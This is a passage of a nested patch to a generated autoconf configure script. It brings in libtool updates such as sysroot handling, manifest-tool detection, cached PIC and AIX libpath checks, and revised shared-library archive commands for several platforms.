+ const char *name;
+ void *address;
+ }
+@@ -7695,8 +8021,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -7706,8 +8032,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -7744,6 +8070,13 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
+
+
+
+@@ -7763,6 +8096,48 @@ fi
+
+
+
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
++
++
++
+
+
+ # Check whether --enable-libtool-lock was given.
+@@ -7971,6 +8346,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -8534,6 +9026,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -8604,6 +9098,16 @@ done
+
+
+
++func_stripname_cnf ()
++{
++ case ${2} in
++ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
++ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
++ esac
++} # func_stripname_cnf
++
++
++
+
+
+ # Set options
+@@ -9119,8 +9623,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -9286,6 +9788,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -9348,7 +9856,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -9405,13 +9913,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -9472,6 +9984,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -9822,7 +10339,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -9921,12 +10439,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -9940,8 +10458,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -9959,8 +10477,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -10006,8 +10524,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -10137,7 +10655,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -10150,22 +10674,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -10177,7 +10708,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -10190,22 +10727,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -10250,20 +10794,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -10324,7 +10911,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -10332,7 +10919,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -10348,7 +10935,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -10372,10 +10959,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -10454,23 +11041,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -10555,7 +11155,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
